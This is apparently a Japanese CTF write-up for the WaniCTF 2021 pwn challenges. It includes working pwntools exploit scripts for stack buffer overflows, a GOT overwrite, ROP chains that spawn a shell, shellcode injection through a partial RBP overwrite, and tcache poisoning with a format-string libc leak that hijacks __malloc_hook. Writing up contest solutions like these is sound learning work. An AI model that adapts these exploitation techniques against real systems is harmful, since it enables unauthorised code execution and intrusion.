WaniCTF 2021 Writeup

wanictf.org

体調が優れずPwnしか取り組めませんでした😭

nc

$ nc nc.pwn.wanictf.org 9001
welcome to WaniCTF 2021!!!
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{the-1st-step-to-pwn-is-netcatting}

flag: FLAG{the-1st-step-to-pwn-is-netcatting}

BOF

オーバーフローさせるとokが書き換えられてフラグが表示されます。

$ nc bof.pwn.wanictf.org 9002
ふっかつのじゅもんを いれてください
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
よくぞもどられた!
FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}

flag: FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}

got rewriter

printfのGOTをwinに書き換えました。

$ nc got-rewriter.pwn.wanictf.org 9003
Welcome to GOT rewriter!!!
win = 0x400807
Please input target address (0x600000-0x700000): 0x601038
Your input address is 0x601038.
Please input rewrite value: 0x400807
Your input rewrite value is 0x400807.

*0x601038 <- 0x400807.


congratulation!
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}

flag: FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}

rop-machine-returns

ROPでsystem("/bin/sh")を実行しました。

$ nc rop-machine-returns.pwn.wanictf.org 9004
welcome to rop-machine-returns!!!

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "system" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 0x404070
0x0000000000404070 is appended
> 3
"system" is appended
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system             |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{please-learn-how-to-use-rop-machine}

flag: FLAG{please-learn-how-to-use-rop-machine}

baby_heap

まず、2回mallocして以下の状態にします。

[0] : Allocated Chunk
Chunk at>0x56336b0be2c0
Data : 
[1] : Allocated Chunk
Chunk at>0x56336b0be2e0
Data : 
[2] : Not Allocated
[3] : Not Allocated
[4] : Not Allocated

次に[0]、[1]の順番でfreeして以下の状態にします。

[0] : Free Chunk
Chunk at>0x56336b0be2c0
fd : 0x0
[1] : Free Chunk
Chunk at>0x56336b0be2e0
fd : 0x56336b0be2c0
[2] : Not Allocated
[3] : Not Allocated
[4] : Not Allocated

次に[1]のfdをリターンアドレスがあるアドレスに書き換えます。

[0] : Free Chunk
Chunk at>0x56336b0be2c0
fd : 0x0
[1] : Free Chunk
Chunk at>0x56336b0be2e0
fd : 0x7ffd4ccec1c8
[2] : Not Allocated
[3] : Not Allocated
[4] : Not Allocated

次に2回mallocしてリターンアドレスがある領域を確保します。

[0] : Free Chunk
Chunk at>0x56336b0be2c0
fd : 0x0
[1] : Allocated Chunk
Chunk at>0x56336b0be2e0
Data : 
[2] : Allocated Chunk
Chunk at>0x56336b0be2e0
Data : 
[3] : Allocated Chunk
Chunk at>0x7ffd4ccec1c8
Data : 
[4] : Not Allocated

次に[3]にwinのアドレスを書き込みます。

[0] : Free Chunk
Chunk at>0x56336b0be2c0
fd : 0x0
[1] : Allocated Chunk
Chunk at>0x56336b0be2e0
Data : 
[2] : Allocated Chunk
Chunk at>0x56336b0be2e0
Data : 
[3] : Allocated Chunk
Chunk at>0x7ffd4ccec1c8
Data : B�k3V
[4] : Not Allocated

最後にexitするとwinが実行されます。
flag: FLAG{This_is_Hint_for_the_diva}

rop-machine-final

  1. gets(buf)でbufに"./flag.txt"という文字列を書き込みます。
  2. open(buf, O_RDONLY)で./flag.txtを開きます。
  3. read(3, buf, 0x50)で./flag.txtの内容をbufに書き込みます。
  4. write(1, buf, 0x50)でbufの内容を出力します。
import pwn
import sys
import os 

def read_until(s):
    ret = b""
    while ret.find(s) == -1:
        ret += io.read(1)
    return ret


# [menu]
# 0x01. append hex value
# 0x02. append "pop rdi; ret" addr
# 0x03. append "pop rsi; ret" addr
# 0x04. append "pop rdx; ret" addr
# 0x05. append "gets" addr
# 0x06. append "open" addr
# 0x07. append "read" addr
# 0x08. append "write" addr
# 0x0a. show menu (this one)
# 0x0b. show rop_arena
# 0x00. execute rop


def cmd_append_hex(val):
    io.send(b"1\n")
    ret = read_until(b": ")
    s = b"%x\n" % (val)
    io.send(s)
    ret = read_until(b">")
    print(ret.decode())


def cmd_append_pop_rdi():
    io.send(b"2\n")
    ret = read_until(b">")
    print(ret.decode())


def cmd_append_pop_rsi():
    io.send(b"3\n")
    ret = read_until(b">")
    print(ret.decode())


def cmd_append_pop_rdx():
    io.send(b"4\n")
    ret = read_until(b">")
    print(ret.decode())


def cmd_append_gets():
    io.send(b"5\n")
    ret = read_until(b">")
    print(ret.decode())


def cmd_append_open():
    io.send(b"6\n")
    ret = read_until(b">")
    print(ret.decode())


def cmd_append_read():
    io.send(b"7\n")
    ret = read_until(b">")
    print(ret.decode())


def cmd_append_write():
    io.send(b"8\n")
    ret = read_until(b">")
    print(ret.decode())


def cmd_show_arena():
    io.send(b"b\n")
    ret = read_until(b">")
    print(ret.decode())


def cmd_execute():
    io.send(b"0\n")
    io.sendline(b'./flag.txt\0')
    io.interactive()


io = pwn.remote("rop-machine-final.pwn.wanictf.org", 9005)
# io = pwn.process("./final")

ret = read_until(b">")
print(ret.decode())

buf = 0x404140 

### followings are just example junk rop codes ###
# gets
cmd_append_pop_rdi()
cmd_append_hex(buf)
cmd_append_gets()

# open
cmd_append_pop_rdi()
cmd_append_hex(buf)
cmd_append_pop_rsi()
cmd_append_hex(os.O_RDONLY)
cmd_append_open()

# read
cmd_append_pop_rdi()
cmd_append_hex(3)
cmd_append_pop_rsi()
cmd_append_hex(buf)
cmd_append_pop_rdx()
cmd_append_hex(0x50)
cmd_append_read()

# write
cmd_append_pop_rdi()
cmd_append_hex(1)
cmd_append_pop_rsi()
cmd_append_hex(buf)
cmd_append_pop_rdx()
cmd_append_hex(0x50)
cmd_append_write()

cmd_execute()

flag: FLAG{you-might-be-the-real-rop-master}

Tarinai

int vuln() {
  char Name[256];
  printf("Name @>%p\n", &Name);
  printf("Name>");
  read(0, Name, 258);
  printf("Hello %s", Name);
  return 0;
}

2バイトのBOFがあります。これによってRBPの下位2バイトを書き換えられます。RBPをNameのアドレスにすることによってmain終了時のleave命令でRSPがName+8になります。NXが無効なのでNameを以下の状態にしてシェルコードを実行しました。

+---------------+   <- Name
|   AAAAAAAA    |
+---------------+   <- Name+0x8   
|   Name+0x10   |   <- リターンアドレス  
+---------------+   <- Name+0x10
|      nop      |
|       ~       |
+---------------+
|   shellcode   |
+---------------+
from pwn import *

# p = process('chall')
p = remote('tarinai.pwn.wanictf.org', 9007)
e = ELF('chall')
context.binary = e 

p.recvuntil('@>')
stack = int(p.recvline()[:-1], 16)
print(hex(stack))

shellcode = asm(shellcraft.sh())

payload = b'A' * 8
payload += p64(stack+0x10)
payload += b'\x90' * (0x100 - len(payload) - len(shellcode))
payload += shellcode
payload += p64(stack & 0xffff)

p.sendline(payload)

p.interactive()

diva

$ ./chall 
I'm born to take flag with music
Year : 2061
command : (null)
Year : 2076
command : (null)
Year : 2081
command : (null)
Year : 2121
command : (null)
Year : 2161
command : (null)
command : (null)
I wasn't able to get the flag.

Initializing System...
Checking Available Memory...
Memory available...
Give me your code to send to the past
counter : 0
0>
1>
2>
3>
4>
5>
Change this FLAGless history!! Please...

普通に実行すると特に何もなく終了します。

  for (int i = 0; i < 6; i++) {
    textArea[i] = (char *)malloc(32 * sizeof(char));
    printf("%d>", i);

    read(0, textArea[i], 0x40);
  }

  printf("Change this FLAGless history!! Please...\n");
  counter += 1;
}

readでヒープオーバーフローを起こせます。tcache poisoningで、終了時に呼び出される__do_global_dtors_aux_fini_array_entryをmainに書き換えます。 mainに戻るとtextAreaの文字列がコマンドとして扱われて実行されます。そのコマンドの1つであるsingにはFSBがあります。

void sing(char *parameter) {
  printf("🎵");
  printf(
      parseVar(parameter)); // Looks Safe since we use % as register indicator!
  printf("🎵\n");
}

これでlibcリークして、tcache poisoningで__malloc_hookをOne Gadgetに書き換えます。

from pwn import *

# p = process('chall')
# p = remote('localhost', 7777)
p = remote('diva.pwn.wanictf.org', 9008)
e = ELF('chall')
libc = ELF('libc-2.31.so')

one_gadget = [0xe6c84, 0xe6c81, 0xe6c7e]

payload = b'A' * 0x28
payload += p64(0x31)
payload += p64(0x4034b8)    # __do_global_dtors_aux_fini_array_entry

p.sendlineafter(b'>', b'sing @@@%51$p')
p.sendlineafter(b'>', b'')
p.sendlineafter(b'>', b'')
p.sendlineafter(b'>', payload)
p.sendlineafter(b'>', b'')
p.sendlineafter(b'>', p64(e.symbols['main']))

p.recvuntil('🎵@@@')
libc.address = int(p.recvline()[:-1], 16) - 0x49be0     # __on_exit
print(hex(libc.address))

payload = b'A' * 0x28
payload += p64(0x31)
payload += p64(libc.symbols['__malloc_hook'])

p.sendlineafter(b'>', payload)
p.sendlineafter(b'>', b'')
p.sendlineafter(b'>', p64(libc.address + one_gadget[2]))
p.interactive()

flag: FLAG{in_this_dazzling_time}